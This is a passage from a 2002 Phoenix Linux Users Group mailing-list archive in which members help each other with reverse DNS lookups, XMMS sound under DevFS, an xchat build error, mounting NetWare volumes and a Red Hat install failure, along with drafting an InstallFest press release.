Jr. Sent: Tuesday, June 04, 2002 4:25 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: RE: Reverse DNS lookup Depending on what version of windows you have you can use nslookup...The easiest way if you are using 95 or 98 is to do a trace route (tracert IPADDRESS). Trace route does a lookup on the IP address before it attempts to trace. Gilbert -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Sundar Sent: Tuesday, June 04, 2002 3:38 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Reverse DNS lookup Would you guys, by any chance know, how you can do it from Windoze client? Sundar Matt Alexander wrote: >host ip-address > > >On Tue, 4 Jun 2002, Sundar wrote: > >>Hello, >> >>How to do reverse DNS lookup in intranet? I have the ip address and I >>want to get the dns name for the ip address. >> >>Sundar >> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail >>doesn't post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 23:37:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Tue, 04 Jun 2002 16:37:59 -0700 Subject: sound and XMMS References: <3CFD4ABD.1671BEF7@earthlink.net> Message-ID: <3CFD4F57.13E69BFC@qwest.net> I use IceWM on my laptop without any problems with sound. What Distro are you using? Under RedHat I did sndconfig and it set up the options and placed then in /etc/modules.conf (or is it now conf.modules). What sound output preferences do you have XMMS set to? mazdaracer wrote: > > I prefer to use the IceWM due to it's quick interface, at least on > startup, and I don't really care about the desktop that much. However, > when I try to use XMMS it doesn't always work. I can get it to work > sometimes by starting in the KDE or Gnome WM, running XMMS and it's ok. > Then I switch back to Ice and XMMS is ok there too. However, after I > re-boot, the sound is once again gone from Ice and I have to go thru the > same KDE -> Ice to 'see' it again. Anyone had similiar problems? Or is > there something better than XMMS? I'd personnally like to get Route66 > up, but haven't had the time yet. > > pete > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 23:40:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeff) Date: Tue, 4 Jun 2002 16:40:40 -0700 Subject: Reverse DNS lookup References: Message-ID: <003c01c20c21$3cad4e40$d701870a@jeffbarker> c:>ping /a 123.123.123.123 ----- Original Message ----- From: "Gilbert T. Gutierrez, Jr." To: Sent: Tuesday, June 04, 2002 4:24 PM Subject: RE: Reverse DNS lookup | Depending on what version of windows you have you can use nslookup...The | easiest way if you are using 95 or 98 is to do a trace route (tracert | IPADDRESS). Trace route does a lookup on the IP address before it attempts | to trace. | | Gilbert | | -----Original Message----- | From: plug-discuss-admin@lists.plug.phoenix.az.us | [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Sundar | Sent: Tuesday, June 04, 2002 3:38 PM | To: plug-discuss@lists.plug.phoenix.az.us | Subject: Re: Reverse DNS lookup | | | Would you guys, by any chance know, how you can do it from Windoze client? | | Sundar | | Matt Alexander wrote: | | >host ip-address | > | > | >On Tue, 4 Jun 2002, Sundar wrote: | > | >>Hello, | >> | >>How to do reverse DNS lookup in intranet? I have the ip address and I | >>want to get the dns name for the ip address. | >> | >>Sundar | >> | >>________________________________________________ | >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't | post to the list quickly and you use Netscape to write mail. | >> | >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss | >> | > | >________________________________________________ | >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't | post to the list quickly and you use Netscape to write mail. | > | >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss | > | | | ________________________________________________ | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post | to the list quickly and you use Netscape to write mail. | | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss | | ________________________________________________ | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. | | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 23:43:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gorman, John) Date: Tue, 4 Jun 2002 16:43:50 -0700 Subject: Reverse DNS lookup Message-ID: <7BF7F49956D4024D992D94C5BEC7BA1703D87A@phxexh04.pegs.com> Try nslookup and ping -a The ping -a is useful if you want to lookup someone within a LAN because it will resolve the Windows SMB and give you there user id The nslookup that comes with WinNT/Windows2000/WinXP is not as first class as the standard unix kind. John -----Original Message----- From: Sundar [mailto:linux@esaravana.com] Sent: Tuesday, June 04, 2002 3:38 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Reverse DNS lookup Would you guys, by any chance know, how you can do it from Windoze client? Sundar Matt Alexander wrote: >host ip-address > > >On Tue, 4 Jun 2002, Sundar wrote: > >>Hello, >> >>How to do reverse DNS lookup in intranet? I have the ip address and I >>want to get the dns name for the ip address. >> >>Sundar >> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 23:55:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 4 Jun 2002 16:55:40 -0700 Subject: sound and XMMS In-Reply-To: <3CFD4ABD.1671BEF7@earthlink.net>; from mazdaracer@earthlink.net on Tue, Jun 04, 2002 at 04:18:21PM -0700 References: <3CFD4ABD.1671BEF7@earthlink.net> Message-ID: <20020604165540.B26600@nadesico> On Tue, Jun 04, 2002 at 04:18:21PM -0700, mazdaracer wrote: > I prefer to use the IceWM due to it's quick interface, at least on > startup, and I don't really care about the desktop that much. However, > when I try to use XMMS it doesn't always work. I can get it to work > sometimes by starting in the KDE or Gnome WM, running XMMS and it's ok. > Then I switch back to Ice and XMMS is ok there too. However, after I > re-boot, the sound is once again gone from Ice and I have to go thru the > same KDE -> Ice to 'see' it again. Anyone had similiar problems? Or is > there something better than XMMS? I'd personnally like to get Route66 > up, but haven't had the time yet. Is esd running when IceWM is running? Also, is XMMS set to use esound as it's output? If so, you'll want to either change it to use the OSS plugin for output, or start esd manually in your .xinitrc file. -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 23:59:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (mazdaracer) Date: Tue, 04 Jun 2002 16:59:04 -0700 Subject: sound and XMMS References: <3CFD4ABD.1671BEF7@earthlink.net> <3CFD4F57.13E69BFC@qwest.net> Message-ID: <3CFD5448.B764FF08@earthlink.net> I too have it dual booted on my laptop and it's ok there. I'm using Mandrake 8.1. In fact, I just tried to go over to KDE (works ok) then back to Ice and it didn't 'fix itself' like it sometimes does. I use the OSS Driver 1.2.5 [libOSS.so] pointing to /dev/dsp as the alternate device; switching to default and trying to play gives me the 3 points of why I can't open the sound. I've got a SB Live audio card. This is interesting: [pete@rotor pete]$ ll /dev/dsp ls: /dev/dsp: No such file or directory [pete@rotor pete]$ ll /dev/d* /dev/discs: total 0 lr-xr-xr-x 1 root root 30 Dec 31 1969 disc0 -> ../ide/host0/bus0/target0/lun0/ /dev/dri: total 0 crw-rw-rw- 1 root root 226, 0 Jun 1 19:56 card0 [pete@rotor pete]$ ll /dev/sound total 0 crw------- 1 pete audio 14, 4 May 24 19:28 audio crw------- 1 pete audio 14, 3 May 24 19:28 dsp crw------- 1 pete audio 14, 19 May 24 19:28 dsp1 crw------- 1 pete audio 14, 5 May 24 19:28 dspW crw------- 1 pete audio 14, 2 May 24 19:28 midi crw------- 1 pete audio 14, 18 May 24 19:28 midi1 crw------- 1 pete audio 14, 0 May 24 19:28 mixer crw------- 1 pete audio 14, 1 May 24 19:28 sequencer crw------- 1 pete audio 14, 8 May 24 19:28 sequencer2 [pete@rotor pete]$ There should be a /dev/dsp entry but clearly none exist. I changed the sound to point to /dev/sound/dsp and now it's ok. This is kind of strange! pete Kevin Brown wrote: > > I use IceWM on my laptop without any problems with sound. What Distro are you > using? Under RedHat I did sndconfig and it set up the options and placed then > in /etc/modules.conf (or is it now conf.modules). What sound output preferences > do you have XMMS set to? > > mazdaracer wrote: > > > > I prefer to use the IceWM due to it's quick interface, at least on > > startup, and I don't really care about the desktop that much. However, > > when I try to use XMMS it doesn't always work. I can get it to work > > sometimes by starting in the KDE or Gnome WM, running XMMS and it's ok. > > Then I switch back to Ice and XMMS is ok there too. However, after I > > re-boot, the sound is once again gone from Ice and I have to go thru the > > same KDE -> Ice to 'see' it again. Anyone had similiar problems? Or is > > there something better than XMMS? I'd personnally like to get Route66 > > up, but haven't had the time yet. > > > > pete > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 00:31:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 4 Jun 2002 17:31:19 -0700 Subject: sound and XMMS In-Reply-To: <3CFD5448.B764FF08@earthlink.net>; from mazdaracer@earthlink.net on Tue, Jun 04, 2002 at 04:59:04PM -0700 References: <3CFD4ABD.1671BEF7@earthlink.net> <3CFD4F57.13E69BFC@qwest.net> <3CFD5448.B764FF08@earthlink.net> Message-ID: <20020604173119.A26811@nadesico> On Tue, Jun 04, 2002 at 04:59:04PM -0700, mazdaracer wrote: > I too have it dual booted on my laptop and it's ok there. I'm using > Mandrake 8.1. In fact, I just tried to go over to KDE (works ok) then > back to Ice and it didn't 'fix itself' like it sometimes does. > > I use the OSS Driver 1.2.5 [libOSS.so] pointing to /dev/dsp as the > alternate device; switching to default and trying to play gives me the 3 > points of why I can't open the sound. I've got a SB Live audio card. > > This is interesting: > [pete@rotor pete]$ ll /dev/dsp > ls: /dev/dsp: No such file or directory > [pete@rotor pete]$ ll /dev/d* > /dev/discs: > total 0 > lr-xr-xr-x 1 root root 30 Dec 31 1969 disc0 -> > ../ide/host0/bus0/target0/lun0/ > > /dev/dri: > total 0 > crw-rw-rw- 1 root root 226, 0 Jun 1 19:56 card0 > [pete@rotor pete]$ ll /dev/sound > total 0 > crw------- 1 pete audio 14, 4 May 24 19:28 audio > crw------- 1 pete audio 14, 3 May 24 19:28 dsp > crw------- 1 pete audio 14, 19 May 24 19:28 dsp1 > crw------- 1 pete audio 14, 5 May 24 19:28 dspW > crw------- 1 pete audio 14, 2 May 24 19:28 midi > crw------- 1 pete audio 14, 18 May 24 19:28 midi1 > crw------- 1 pete audio 14, 0 May 24 19:28 mixer > crw------- 1 pete audio 14, 1 May 24 19:28 sequencer > crw------- 1 pete audio 14, 8 May 24 19:28 sequencer2 > [pete@rotor pete]$ > > > There should be a /dev/dsp entry but clearly none exist. I changed the > sound to point to /dev/sound/dsp and now it's ok. This is kind of > strange! Looks like you're using the new and advanced DevFS. It's an alternative to the original flat dev filesystem -- doesn't waste any disk space or inodes on your drive, and device entries are registered and unregistered as modules are loaded/unloaded. Check your /etc/devfsd.conf to make sure that MKOLDCOMPAT is enabled -- normally the devfsd daemon will make symlinks to the old device names (eg: /dev/sound/dsp -> /dev/dsp). More than helpful documentation on devfsd and devfs is available via: less /usr/src/linux/Documentation/filesystems/devfs/README man devfsd man devfsd.conf -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 00:30:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (mazdaracer) Date: Tue, 04 Jun 2002 17:30:31 -0700 Subject: sound and XMMS References: <3CFD4ABD.1671BEF7@earthlink.net> <3CFD4F57.13E69BFC@qwest.net> <3CFD5448.B764FF08@earthlink.net> <20020604173119.A26811@nadesico> Message-ID: <3CFD5BA7.C221AF9@earthlink.net> Thank You!! I did see the link on occasion! It just never seems to have hung around when I wanted it! pete mondoshawan@tank.dyndns.org wrote: > > On Tue, Jun 04, 2002 at 04:59:04PM -0700, mazdaracer wrote: > > I too have it dual booted on my laptop and it's ok there. I'm using > > Mandrake 8.1. In fact, I just tried to go over to KDE (works ok) > then > > back to Ice and it didn't 'fix itself' like it sometimes does. > > > > I use the OSS Driver 1.2.5 [libOSS.so] pointing to /dev/dsp as the > > alternate device; switching to default and trying to play gives me > the 3 > > points of why I can't open the sound. I've got a SB Live audio card. > > > > This is interesting: > > [pete@rotor pete]$ ll /dev/dsp > > ls: /dev/dsp: No such file or directory > > [pete@rotor pete]$ ll /dev/d* > > /dev/discs: > > total 0 > > lr-xr-xr-x 1 root root 30 Dec 31 1969 disc0 -> > > ../ide/host0/bus0/target0/lun0/ > > > > /dev/dri: > > total 0 > > crw-rw-rw- 1 root root 226, 0 Jun 1 19:56 card0 > > [pete@rotor pete]$ ll /dev/sound > > total 0 > > crw------- 1 pete audio 14, 4 May 24 19:28 audio > > crw------- 1 pete audio 14, 3 May 24 19:28 dsp > > crw------- 1 pete audio 14, 19 May 24 19:28 dsp1 > > crw------- 1 pete audio 14, 5 May 24 19:28 dspW > > crw------- 1 pete audio 14, 2 May 24 19:28 midi > > crw------- 1 pete audio 14, 18 May 24 19:28 midi1 > > crw------- 1 pete audio 14, 0 May 24 19:28 mixer > > crw------- 1 pete audio 14, 1 May 24 19:28 sequencer > > crw------- 1 pete audio 14, 8 May 24 19:28 sequencer2 > > [pete@rotor pete]$ > > > > > > There should be a /dev/dsp entry but clearly none exist. I changed > the > > sound to point to /dev/sound/dsp and now it's ok. This is kind of > > strange! > > Looks like you're using the new and advanced DevFS. It's an > alternative to > the original flat dev filesystem -- doesn't waste any disk space or > inodes > on your drive, and device entries are registered and unregistered as > modules > are loaded/unloaded. Check your /etc/devfsd.conf to make sure that > MKOLDCOMPAT is enabled -- normally the devfsd daemon will make > symlinks to > the old device names (eg: /dev/sound/dsp -> /dev/dsp). More than > helpful > documentation on devfsd and devfs is available via: > less > /usr/src/linux/Documentation/filesystems/devfs/README > man devfsd > man devfsd.conf > > -- > Thomas "Mondoshawan" Tate > mondoshawan@tank.dyndns.org > http://tank.webhop.org > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 02:26:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Tue, 4 Jun 2002 19:26:58 -0700 Subject: Sending out press release - final In-Reply-To: References: Message-ID: <200206041926.58784.dennisk@sahuaro.f2s.com> On Tuesday 04 June 2002 07:09 am, der.hans wrote: > Am 04. Jun, 2002 schwätzte Dennis Kibbe so: > > Just checking that the version up on the PLUG site is the final, > > best-ever, unanimously approved version. If so, I'll get it out to the > > media contacts that Jim sent me. > > The URL: http://www.plugpresents.com/installfest/ > > My suggestions haven't been incorporated. > > ciao, > > der.hans That would be capitalizing Free Software and Open Source. The quote marks do look funny. Something M$ might do, as in the Myth of "free software" or Shared Source is better than so called "open source." Any other suggestions? Dennis From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 02:51:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Tue, 4 Jun 2002 19:51:24 -0700 Subject: Sending out press release - final In-Reply-To: <200206041926.58784.dennisk@sahuaro.f2s.com> References: <200206041926.58784.dennisk@sahuaro.f2s.com> Message-ID: <0206041951240Z.00730@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 When the nitpicking is done (hopefully before the 22nd), post the final on discuss or email it to me and I will move it to PlugPresents. On Tuesday 04 June 2002 19:26, you wrote: > On Tuesday 04 June 2002 07:09 am, der.hans wrote: > > Am 04. Jun, 2002 schwätzte Dennis Kibbe so: > > > Just checking that the version up on the PLUG site is the final, > > > best-ever, unanimously approved version. If so, I'll get it out to the > > > media contacts that Jim sent me. > > > > The URL: http://www.plugpresents.com/installfest/ > > > > My suggestions haven't been incorporated. > > > > ciao, > > > > der.hans > > That would be capitalizing Free Software and Open Source. The quote marks > do look funny. Something M$ might do, as in the Myth of "free software" or > Shared Source is better than so called "open source." Any other > suggestions? > > Dennis > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPP18rSsk3ywszI1FEQJMwgCg1ZAK/Ag1gw9Vpydjpap2K+cHGLcAoJHk 3WcJyIisuCBBfYZg5lip1s/0 =e13h -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 03:41:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Tue, 4 Jun 2002 20:41:00 -0700 Subject: Sending out press release - LAST CALL! In-Reply-To: <0206041951240Z.00730@nova.wedge.org> References: <200206041926.58784.dennisk@sahuaro.f2s.com> <0206041951240Z.00730@nova.wedge.org> Message-ID: <200206042041.00712.dennisk@sahuaro.f2s.com> This includes suggestions from hans and Bill Lindley. Also, I've removed quotes around "Open Source" and "Free Software" which I thought unneccessary and too M$-like as in the Myrth of "free software." I plan to go to press on Thurday latest unless there are any show stoppers. Dennis =========================================================== FOR IMMEDIATE RELEASE LOCAL USERS GROUP OFFERS FREE GNU/LINUX INSTALLATION HELP On Saturday, June 22, the Phoenix Linux Users Group (PLUG) invites the public to a "GNU/Linux InstallFest" at Scottsdale Community College. Attendees will receive expert help in installing Linux, a freely available operating system, on their personal computers. After the InstallFest, users who brought their computers along can in many cases go home with working systems installed on their machines, free of charge. The package includes web browsers, word processors, and other usual tools that computer users expect. PLUG's organizer for the event is William Lindley, a computer consultant. "This is what the Free Software community is all about - helping each other, and we'll be helping folks get started," Lindley explained. "We're all looking forward to this InstallFest." The software is an alternative to Windows and other proprietary systems. Linux, GNU, FreeBSD and other Open Source and Free Software systems do not require any licensing or upgrade fees, and are said by many experts to be more efficient and secure than Windows systems. Businesses and home users alike are turning to Free Software which can be freely copied, modified, or examined, and which is considered by computer experts to be more robust and secure than proprietary systems. Though there is no charge, the term Free Software actually refers to freedom from license restrictions: Users are never asked to click "I Agree" to a list of prohibitions before using it, and organizations need not store "Certificates of Authenticity" in their safe deposit boxes in case of an audit. The Free Software products are available at no charge through the Internet or as an inexpensive distribution at most local computer stores, but the InstallFest offers users a completed installation by experienced Linux and FreeBSD administrators. Computer users are invited to bring their computers to the event. Usually, only the computer box, monitor, keyboard and mouse need be brought - see the PLUG web page for details. "Your old operating system can remain as an alternative, or we can replace it entirely," Lindley said, "depending on your plans for the machine and how much disk space you have to spare." "This is a important next step in development of computers and the Internet -- making them more affordable and more secure," Lindley said. "We are here to show how easy it can be for computer users to move up to the next level." The event will be held from 10:00 a.m. to 4:00 p.m. in the College's Turquoise Room, at 9000 E. Chaparral Rd., Scottsdale, AZ. A map is available online at PLUG's web site, ( http://plug.phoenix.az.us ). PLUG members will be available to answer questions about Linux, Open Source software, and the Phoenix Linux Users Group as well. For more information about the InstallFest, email contact@plug.phoenix.az.us or call William Lindley at 480-947-6100 PLUG is an informal group that holds several monthly meetings, on both the East and West sides of Phoenix, to talk about what they've recently done with Linux, GNU and Open Source software; to share problems and solutions, and to discuss issues in the world of Free Software and computers in general. Knowledge of Linux is neither presumed nor required. Between meetings, PLUG members stay in touch through a busy e-mail discussion list. More information about PLUG can be found on the website at http://plug.phoenix.az.us/ . Scottsdale Community College offers two year degree programs in many disciplines including computers, arts, and science. SCC also offers university transfer programs and special interest courses, and has hosted several Free Software events. From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 04:35:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Tue, 4 Jun 2002 21:35:26 -0700 (MST) Subject: Sending out press release - final In-Reply-To: <200206041926.58784.dennisk@sahuaro.f2s.com> Message-ID: Am 04. Jun, 2002 schwätzte Dennis Kibbe so: > That would be capitalizing Free Software and Open Source. The quote marks The capitalization was the main thing. http://lists.PLUG.phoenix.az.us/pipermail/plug-discuss/2002-June/025272.html > do look funny. Something M$ might do, as in the Myth of "free software" > or Shared Source is better than so called "open source." Any other > suggestions? Good idea to get rid of the quotes that aren't necessry if you use Free Software and Open Source as proper nouns. ciao, der.hans -- # https://www.LuftHans.com/ # The only way for a woman to change a man # is if he's wearing Depends[TM] - der.hans From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 11:27:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Wed, 5 Jun 2002 04:27:04 -0700 Subject: xchat compile Message-ID: <20020605042704.4eb0208f.snoogans@qwest.net> okay it appears that if i want to have the tint transparency option available(and i do :> ) i am going top have to compile xchat from source. I untar/unzip the files cd to the directory, ./configure all is well no errors at all, i type make and get this ... chimera:/home/bob/xchat-1.8.9# make make all-recursive make[1]: Entering directory `/home/bob/xchat-1.8.9' Making all in po make[2]: Entering directory `/home/bob/xchat-1.8.9/po' file=./`echo ca | sed 's,.*/,,'`.gmo \ && rm -f $file && PATH=../src:$PATH -o $file ca.po /bin/sh: -o: command not found make[2]: *** [ca.gmo] Error 127 make[2]: Leaving directory `/home/bob/xchat-1.8.9/po' make[1]: *** [all-recursive] Error 1 make[1]: Leaving directory `/home/bob/xchat-1.8.9' make: *** [all-recursive-am] Error 2 chimera:/home/bob/xchat-1.8.9# First thing i did was check to see if /bin/sh was there, it wasn't so i apt-get that and try again same thing. As lame as it sounds this litle option is something i would really like, if someone could help me out with this i would appreciate it, thanks in advance :) From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 12:43:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 05 Jun 2002 08:43:40 -0400 Subject: OT: Access to an AIX platform? Message-ID: Adtron has the need to test one of our SCSI drive products on an AIX machine. Free time is good but we are willing to pay a reasonable price for time on an AIX system here in the Phoenix valley. Does anyone know of one? Is there an AIX users group still active out there? Alan From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 16:17:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Tue, 4 Jun 2002 09:17:09 -0700 (MST) Subject: mounting novell volumes In-Reply-To: <200206040810.16001.plug@the-arcanum.org> Message-ID: Nathan, the win98 desktop(s), is there a Novell client enabled, and set to use IPX? The microsoft IPX drivers should do the trick if you don't want to or don't have the full Novell client-32 drivers. If memory serves me correctly, your typical netware 3.12 only talks IPX on the network. IPX tunneled through TCP/IP was available, but was kinda stinky. - tom e. On Tue, 4 Jun 2002, Nathan England wrote: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 The server boots okay, the sys volume is a 2gb partition, and it has almost 6 meg of free space.. The people who use this know nothing about novell, neither does their company, and neither do I. THis is netware 3.12 It boots, takes about 15-20 minutes to mount the sys volume, but I can't get any workstations to acknowledge it. We want to switch them over to a small win98 machine that can do just file serving, but need the css data (from the hotel reservation system) before we can do anything. I'lll look at some of those free tools, thanks a lot Steve. nathan Am Montag 03 Juni 2002 02:09 nachmittags schrieb foodog: > Nathan, I haven't heard of a non-Netware method of mounting Netware > volumes. Is the server unbootable? FWIW, the best non-Novell tools for > Netware that I know of come from: > http://www.PortlockSoftware.com - > http://www.ontrack.com - > http://www.jrbsoftware.com -- large number of "free" utils plus more > that cost. > > Of course, searching through support.novell.com and developer.novell.com > yields lots of free tools and info. > > BTW, if the server *isn't* toasted and you're running NW 5.x or 6 > there's support for NFS > > Could you elaborate on the situation? > Steve > > Nathan England wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > I booted up a novell machine using a bbc cd and I need to mount the > > novell volume (/dev/hda2) onto the tree so I can export it. > > The fdisk info says it is id 65 Novell Netware 386 > > > > Does anyone know how I can mount that? I tried the ncpfs module, but it > > doesn't work. > > > > nathan > > -----BEGIN PGP SIGNATURE----- > > Version: GnuPG v1.0.7 (GNU/Linux) > > > > iD8DBQE8+65cQ7yNnsYcupwRAnx9AJ9Ga+JvecuXlU9n32S/9m7M7hkbFgCgq08N > > 5V5D6ElmVvifCzrLPF8nRyM= > > =d4n0 > > -----END PGP SIGNATURE----- > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE8/NhXQ7yNnsYcupwRAgZoAJ9kVBz4fRJNSXb6Y2iebZYkY8uYXQCgqBXa 1Fo55C8NyzarP66Nlw65dmQ= =u9LP -----END PGP SIGNATURE----- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 14:57:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 05 Jun 2002 10:57:58 -0400 Subject: RH7.3 disc fails on floppy boot install Message-ID: I have a set of RH7.3 CDs that have been successfully used on two computers and at least one other by someone else. My successes have been with computers that were able to boot off the CD and install from there. I have another computer that does not have the brains to boot from the CD. I sucessfully did a floppy boot install with RH7.2 on this same computer. I made an install boot floppy that starts up fine but when the install gets to the point of reading the CD, it fails. It attempts to spin up several times for several minutes and eventually fails. I am assuming this is a bad CD that works OK for booting but not for floppy installs. That puzzles me, however, because I would think that boot from CD or floppy would use most of the same files on the CD at the point the floppy install fails. Anyone else have any hints here? Do I need to go buy some new CDs? Alan From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 16:18:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard J Herrem) Date: Wed, 5 Jun 2002 09:18:30 -0700 Subject: RH7.3 disc fails on floppy boot install Message-ID: <20020605.091832.-1837903.1.herrem@juno.com> I had this problem, but it turned out to be a loose cdrom. I was able to install from another cdrom through a network with the bootnet.img floppy starting the process. (Used cdrom for sale.;^) Rick Herrem On Wed, 05 Jun 2002 10:57:58 -0400 writes: > I have a set of RH7.3 CDs that have been successfully used on two > computers and at least one other by someone else. My successes have > been with computers that were able to boot off the CD and install > from there. > > I have another computer that does not have the brains to boot from > the CD. I 